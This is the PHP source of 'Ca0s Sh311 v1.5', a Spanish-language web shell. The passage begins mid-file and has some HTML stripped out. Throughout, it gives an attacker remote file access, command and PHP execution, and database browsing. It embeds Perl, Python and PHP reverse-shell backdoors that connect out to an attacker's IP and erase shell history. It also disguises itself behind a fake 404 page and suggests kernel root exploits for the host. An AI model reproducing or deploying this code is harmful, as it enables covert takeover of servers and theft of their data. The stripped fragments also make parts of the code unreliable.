.php?user=$user&pass=$pass for the first time so the session is set to a valid valour
$user="ca0s";
$pass="ca0s";
$ask=1; // 1 = ask for user and pass \\ 2 = Dont ask for it
if(($_GET["user"]==$user)&&($_GET["pass"]==$pass)||($_SESSION["ok"]==md5($user.$pass)||$ask==0))
{
$_SESSION["ok"]=md5($user.$pass);
/*Upload, delete y download de archivos*/
if(isset($_GET['file']))
{
$archivo=$_GET['file'];
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($archivo));
readfile($archivo);
exit();
}// abrir($_GET['file']) && die;
if(isset($_GET["dfile"]))
@unlink($_GET["dfile"]);
if(isset($_GET['dfold']))
{
$fPath=$_GET['dfold'];
if(is_dir($fPath))
{
$c=countFiles($fPath);
if($c==0)
{
if(rmdir($fPath))
$statemsg="Carpeta <$fPath> borrada.";
else $statemsg="No pudo eliminarse la carpeta.";
}
else $statemsg="La carpeta ha de estar vacía para su eliminación.";
}
}
if(isset($_GET["mkdir"]))
{
if(!@mkdir($_GET["mkdir"], 777))
$statemsg = "No pudo crearse la carpeta.";
else
$statemsg = "Carpeta creada -> ".$_GET["mkdir"];
}
if(isset($_GET["mkfile"]))
{
if(file_exists($_GET["mkfile"]))
$statemsg="Ese archivo ya existe, elige otro nombre.";
else
{
if(!($mkfile=@fopen($_GET["mkfile"], "w")))
$statemsg="No pudo crearse el archivo.";
else
{
$statemsg="Archivo creado, pulsa aqui para editarlo ";
fputs($mkfile, "Tu archivo");
fclose($mkfile);
}
}
}
?>
Ca0s Sh311
Ca0s Sh311 [v1.5]
-------------------------------------------------------------------------------------------------------------
[Info] [Explorar] [Ejecutar] [Tools] [SQL] ----
[Salir]
-------------------------------------------------------------------------------------------------------------
";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Imposible conectar (Abriste el puerto...?) ";
print "Ejecutado... Disfruta de tu shell ;)";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "n---- Ca0s Shell Perl BackConnect ----nn";
system("unset HISTFILE; unset SAVEHIST;echo --- Informacion del Sistema ---; uname -a;echo;
echo --- Informacion de usuario ---; id;echo;echo --- Directorio ---; pwd; echo ; echo --- Procesos ---; w; echo ; echo; echo --- Shell --- ");
system($system); ';
$back_python='#!/usr/bin/env python -u
# By Xianur0
# uxmal666@gmail.com
import sys, socket, os
if len(sys.argv) != 3:
print "[x] Uso: %s [host] [port]" % (sys.argv[0])
else:
host = str(sys.argv[1])
port = int(sys.argv[2])
handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
try:
if os.fork() > 0: os._exit(0)
except OSError, error:
print "Error En Fork: %d (%s)" % (error.errno, error.strerror)
pid = os.fork()
if pid > 0:
print "Fork No Valido!"
handler.connect((host, port))
print "\n[x] Advance Reverse Shell By Xianur0.... OK\n"
os.dup2(handler.fileno(), sys.stdin.fileno())
os.dup2(handler.fileno(), sys.stdout.fileno())
while handler.recv:
os.system("unset HISTFILE; unset SAVEHIST; echo ; echo ---- Ca0s Shell Python BackConnect ----; echo --- Mod. of Xianur0 Advance Reverse Shell ---; echo ; echo --- Informacion del Sistema ---; uname -a;echo; echo --- Informacion de usuario ---; id;echo;echo --- Directorio ---; pwd;echo; echo --- Procesos ---; w; echo ; echo --- Shell ---; /bin/sh -i;")
os.system("/bin/sh -i")
except:
print "[!] Error conectando"
';
/*Mostrar partes de la shell*/
if($_POST["op"])
{
if($_POST["bcktype"])
{
$bcktype=$_POST['bcktype'];
$bckip=$_POST['bckip'];
$bckport=$_POST['bckport'];
getshell($bcktype, $bckip, $bckport);
}
else
{
if($_POST["op"]=="save")
{
$sf=fopen($_POST["sname"], "w+");
rewind($sf);
//$t=str_replace('\\', '', $_POST["edtext"]);
$t=stripslashes($_POST["edtext"]);
fwrite($sf, $t) || $statemsg="No se pudo editar el archivo.";
fclose($sf);
$statemsg="Archivo guardado.";
statemsg();
showexplore();
}
}
}
else
{
if($_GET)
{
$op;
$op=$_GET["op"];
switch($op)
{
case "e":
showexplore();
break;
case "ex":
showexecute();
break;
case "phpinfo":
phpinfo();
break;
case "t":
showtools();
break;
case "edit":
editfile($_GET["edfile"]);
break;
case "sql":
showsql("DEF");
break;
case "exit":
if(session_destroy())
echo "Te has desconectado. La sesion PHP ha sido eliminada. ";
else
echo "No pudo borrarse la sesion. ";
if(file_exists("back_perl_ca0s.pl"))
if(unlink("back_perl_ca0s.pl"))
echo "La shell en perl ha sido eliminada. ";
else echo "No pudo borrarse la shell en perl. ";
if(file_exists("back_python_ca0s.py"))
if(unlink("back_python_ca0s.py"))
echo "La shell en python ha sido eliminada. ";
else echo "No pudo borrarse la shell en python. ";
break;
default:
showinfo();
}
}
else
{
showinfo();
}
}
}
else
{
// Two ways to hide me: (only one can be uncommented)
// 1- Redirecting to a non-existant page so a real 404 is showed.
/*
mt_srand(time());
$num=mt_rand(0,100);
echo '';
*/
// 2- Sending a 404 and printing a fake 404 message (Customize it for make it real in the server)
header('HTTP/1.0 404 Not Found');
echo '404 Not Found Not Found The requested URL /shelll.php was not found on this server.
';
}
/*Funciones para mostrar diferentes partes de la shell:*/
function showinfo()
{
global $IP, $HNAME, $ROOT, $SADMIN, $SELF;
$sm=(@ini_get("safe_mode") == 0) ? 'Off' : 'On';
$Os=php_uname();
$Sn=$_SERVER[SERVER_SOFTWARE];
printf("");
echo "
";
echo "";
echo "IP -> ".$IP." Nombre del Host -> ".$HNAME." ";
echo "Directorio -> ".$ROOT." Self -> ".$SELF." ";
echo "Safe_mode: -> ".$sm." Server Admin (Apache) -> ".$SADMIN." ";
echo '
';
$sOV=split("-", php_uname(r));
$sO=php_uname(s);
if(ereg("Linux", $sO))
$tm="Linux Kernel $sOV[0]";
else $tm="$sO $sOV";
echo "OS -> ".$Os." RootExploit -> ".find_exploit()." Server -> ".$Sn." Milw0rm ";
echo "
";
echo "
";
echo "";
printf("
");
various();
}
function showexplore()
{
global $SELF, $SDIR, $ROOT;
if(!isset($_GET["dir"])){
$dir=$ROOT.$SDIR;
}
else{
$dir=$_GET["dir"];
}
printf("");
dirlist($dir);
printf("
");
various();
}
function showexecute()
{
global $SELF;
printf("");
echo "
Shell: ";
if(isset($_POST["codeshell"]))
{
$codeshell=$_POST["codeshell"];
echo('
Resultado: '.$codeshell.'
";
}
echo('
');
echo '';
echo '';
echo "
PHP ";
if(isset($_POST["codephp"]))
{
$codephp=$_POST["codephp"];
echo('
Resultado:
";
}
echo('
');
printf("");
various();
}
function showtools()
{
global $SELF;
echo '';
echo 'Tu IP: '.$_SERVER["REMOTE_ADDR"].' Si pasas por proxy... ni caso :)
';
echo '';
echo '';
various();
}
function showsql($sqlMod)
{
if(isset($_GET["SQL_USER"]) & isset($_GET["SQL_PASSWORD"]) & isset($_GET["SQL_HOST"]) & isset($_GET["SQL_PORT"]) & ($sqlMod=="DEF"))
{
$sql_user=$_GET["SQL_USER"];
$sql_pass=$_GET["SQL_PASSWORD"];
$sql_host=$_GET["SQL_HOST"];
$sql_port=$_GET["SQL_PORT"];
$sql_addr=$sql_host.":".$sql_port;
$conex=@mysql_connect($sql_addr, $sql_user, $sql_pass);
if($conex)
{
echo "Conexión: Host: $sql_host:$sql_port User: $sql_user Password: $sql_pass
";
$dbs=mysql_list_dbs($conex);
echo "";
if(isset($_GET["SQL_DB"]))
{
$sql_db=$_GET["SQL_DB"];
mysql_select_db($sql_db);
$sql="SHOW TABLES FROM $sql_db";
$tables=mysql_query($sql);
echo "Tablas en < $sql_db > : ";
while($table=mysql_fetch_row($tables)) echo "| $table[0] | ";
echo "
";
if(isset($_GET["SQL_TABLE"]))
{
$sql_table=$_GET["SQL_TABLE"];
$sql="SELECT * FROM $sql_table";
$res=mysql_query($sql, $conex);
echo "";
$nHeads=mysql_num_fields($res);
$nRows=mysql_num_rows($res);
$cols=array();
for($x=0; $x<=$nHeads-1; $x++)
{
echo "".mysql_field_name($res, $x)." ";
array_push($cols, mysql_field_name($res, $x));
}
echo " ";
for ($i=0;$i<=$nRows-1;$i++)
{
echo '';
$var=mysql_fetch_row($res);
for($n=0; $n<=$nHeads-1; $n++)
{
if($var[$n]==NULL) echo ' ';
else echo ''.$var[$n].' ';
}
echo ' ';
}
echo '
';
}
echo "";
if(isset($_GET["SQL_COMMAND"]))
{
$sql_command=$_GET["SQL_COMMAND"];
echo "Comando ejecutado: | $sql_command |
";
$res=mysql_query($sql_command);
echo "";
$nHeads=mysql_num_fields($res);
$nRows=mysql_num_rows($res);
$cols=array();
for($x=0; $x<=$nHeads-1; $x++)
{
echo "".mysql_field_name($res, $x)." ";
array_push($cols, mysql_field_name($res, $x));
}
echo " ";
for ($i=0;$i<=$nRows-1;$i++)
{
echo '';
$var=mysql_fetch_row($res);
for($n=0; $n<=$nHeads-1; $n++)
{
echo ''.$var[$n].' ';
}
echo ' ';
}
echo '
';
}
}
}
else
{
echo "No pudo conectarse al servidor SQL. ";
showsql("FORM");
}
}
else
{
if($SQL_ERROR==TRUE) echo "Error al iniciar sesion en el servidor SQL";
if(!function_exists('mysql_connect')) echo "Función mysql_connect no disponible. Arreglalo. ";
?>
" method="GET">
}
echo " ";
various();
}
function getshell($type, $ip, $port)
{
/*$type=$_POST["bcktype"];
$ip=$_POST["bckip"];
$port=$_POST["bckport"];*/
global $back_perl, $back_python;
echo ' Intentando obtener shell en '.$ip.':'.$port.' (Reverse Shell: '.$type.') ';
switch($type)
{
case "perl":
{
if(file_exists("back_perl_ca0s.pl"))
{
unlink("back_perl_ca0s.pl");
}
$fs=fopen("back_perl_ca0s.pl", "w");
if(!$fs)
{
echo "No se pudo crear la backdoor, no tienes permisos. Consiguelos :) ";
}
else
{
fwrite($fs, $back_perl);
fclose($fs);
ejecutar("perl back_perl_ca0s.pl ".$ip." ".$port);
}
break;
}
case "python":
{
if(file_exists("back_python_ca0s.py"))
unlink("back_python_ca0s.py");
$fs=fopen("back_python_ca0s.py", "w");
if(!$fs)
{
echo "No se pudo crear la backdoor, no tienes permisos. Consiguelos :) ";
}
else
{
fwrite($fs, $back_python);
fclose($fs);
ejecutar("python back_python_ca0s.py ".$ip." ".$port);
}
break;
}
case "php":
{
back_php($ip, $port);
break;
}
}
}
function editfile($file)
{
echo '';
fclose($fe);
}
else
{
echo ''.htmlspecialchars($fetext, ENT_QUOTES).' ';
}
}
/*Funciones*/
function various()
{
global $ROOT, $SDIR;
if(isset($_GET["dir"])) $dir=$_GET["dir"];
else $dir=$ROOT.$SDIR;
if(substr($dir, -1, 0)!="/") $dir=$dir."/";
echo('
');
$target_path = basename( $_FILES['upfile']['name']);
if(move_uploaded_file($_FILES['upfile']['tmp_name'], $target_path))
{
$msg=urlencode('El archivo < '.basename($_FILES['upfile']['name']).' > se subio correctamente.');
echo '';
}
}
function dirlist($ruta)
{
global $ROOT, $HNAME;
echo "Path: ";
echo '';
if(is_readable($ruta))
{
$dh=opendir($ruta);
while(false!==($file=readdir($dh)))
{
if(es_dir($ruta."/".$file))
{
if($file!=".")
{
if($file=="..")
{
echo ''.$file.' ';
}
else
{
echo('
'.$file.' '.permisos($ruta."/".$file).' Archivos: '.countFiles($ruta."/".$file).' Eliminar
');
}
}
}
}
rewinddir($dh);
echo '';
while(false!==($file=readdir($dh)))
{
if (!es_dir($ruta."/".$file))
{
$filepath=$ruta."/".$file;
$nLink=$HNAME.str_replace($ROOT, "", $filepath);
$nLink=htmlentities($nLink);
if(strlen($file)>=55) $filen=acortar_cadena($file);
else $filen=$file;
echo ('
'.$filen.' -> '.permisos($filepath).' '.filetype($filepath).'('.(redondear(filesize($filepath)/1024)).'KB) Descargar | Editar | Eliminar
');
}
}
echo '
';
closedir($dh);
}
else echo 'No tienes permiso para leer ésta carpeta.
';
}
function abrir($archivo)
{
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=.$archivo.");
readfile($archivo);
}
function dirup($cadena)
{
$car;
$conta=1;
$len=strlen($cadena);
while(substr($cadena, -1)!="/")
{
$cadena=substr($cadena, 0, $len-$conta);
$conta++;
}
$cadena=substr($cadena,0,-1);
return $cadena;
}
function acortar_cadena($cadena)
{
$len=strlen($cadena);
// 55
$less=$len-55;
$str1=substr($cadena, 0, ($len/2-$less/2));
$str2=substr($cadena, ($len/2+$less/2), $len);
$final=$str1."...".$str2;
return $final;
}
function back_php($ip, $port)
{
set_time_limit (0);
$VERSION = "1.0";
$chunk_size = 1400;
$write_a = null;
$error_a = null;
//$shell = 'uname -a; w; id; /bin/sh -i';
$shell = "unset HISTFILE; unset SAVEHIST; echo ; echo ---- Ca0s Shell PHP Backdoor ----; echo ; echo --- Informacion del Sistema ---; uname -a;echo; echo --- Informacion de usuario ---; id;echo;echo --- Directorio ---; pwd;echo; echo --- Procesos ---; w; echo ; echo --- Shell ---; /bin/sh -i;";
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork'))
{
$pid = pcntl_fork();
if ($pid == -1)
{
printit("ERROR ");
exit(1);
}
if ($pid)
{
exit(0);
}
if (posix_setsid() == -1)
{
printit("No se pudo hacer setsid() ");
exit(1);
}
$daemon = 1;
}
else
{
printit("No se pudo iniciar el demonio. Es común y no hay problema :) ");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock)
{
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process))
{
printit("No se pudo iniciar la shell :(");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Shell conectada a $ip:$port. Disfruta ;) ");
while (1)
{
if (feof($sock))
{
printit("La conexión ha terminado. ");
break;
}
if (feof($pipes[1]))
{
printit("El proceso de la shell ha sido finalizado. ");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a))
{
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a))
{
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a))
{
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
function printit ($string)
{
if (!$daemon)
{
print "$stringn";
}
}
function redondear($valor) {
$redondeado=round($valor * 100) / 100;
return $redondeado;
}
function es_dir($file)
{
switch(filetype($file))
{
case "dir":
return 1;
break;
case "file":
return 0;
break;
}
}
function statemsg()
{
global $statemsg;
if(isset($_GET["statemsg"]))
{
echo '';
$statemsg=NULL;
}
else
{
if(isset($statemsg))
{
echo '';
$statemsg=NULL;
}
}
}
function ejecutar($com)
{
$res="";
if (!empty($com))
{
if(function_exists('exec'))
{
@exec($com,$res);
$res = join("\n", $res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($com);
}
elseif(function_exists('system'))
{
@ob_start();
@system($com);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($com);
$res = @ob_get_contents();
@ob_end_clean();
}
else $res="No hay funciones de ejecución disponibles.";
return $res;
}
return $res;
}
function permisos($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function find_exploit()
{
//Thanks FR34K [DelincuenteDigital] !!
$version_kernel=php_uname('r');
$version=explode('-',$version_kernel);
$exploits = array(
'w00t' => '2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20',
'brk' => '2.4.22','2.4.21','2.4.10','2.4.20',
'elflbl' => '2.4.29',
'expand_stack' => '2.4.29',
'h00lyshit' => '2.6.8','2.6.10','2.6.11','2.6.12',
'kdump' => '2.6.13',
'km2' => '2.4.18','2.4.22',
'krad' => '2.6.11',
'krad3' => '2.6.11','2.6.9',
'local26' =>'2.6.13',
'mremap_pte'=>'2.4.20','2.2.25','2.4.24',
'newlocal'=>'2.4.17','2.4.19',
'ong_bak'=>'2.4.','2.6.',
'ptrace'=>'2.2.24','2.4.22',
'ptrace_kmod'=>'2.4.','2.6.',
'ptrace24'=>'2.4.9',
'pwned'=>'2.4.','2.6.',
'py2'=>'2.6.9','2.6.17','2.6.15','2.6.13',
'raptor_prctl'=>'2.6.13','2.6.17','2.6.16','2.6.13',
'prctl3'=>'2.6.13','2.6.17','2.6.9',
'stackgrow2'=>'2.4.29','2.6.10',
'uselib24'=>'2.4.29','2.6.10','2.4.22','2.4.25',
'exp.sh'=>'2.6.9','2.6.10','2.6.16','2.6.13',
'prctl'=>'2.6.',
'kmdx'=>'2.6.','2.4.'
);
$rootexploit = array_search($version[0], $exploits);
if (($rootexploit==NULL)||($rootexploit==FALSE)){
return 'No existe o no está en la lista :S';
}else{
foreach($exploits as $exploit=>$kernel)
if($kernel==$version[0])
return $exploit;
}
}
function countFiles($path)
{
$info=@scandir($path);
$c=0;
for($n=0; $n<=count($info); $n++)
if(($info[$n]!=".")&&($info[$n]!="..")) $c++;
return $c-1;
}
?>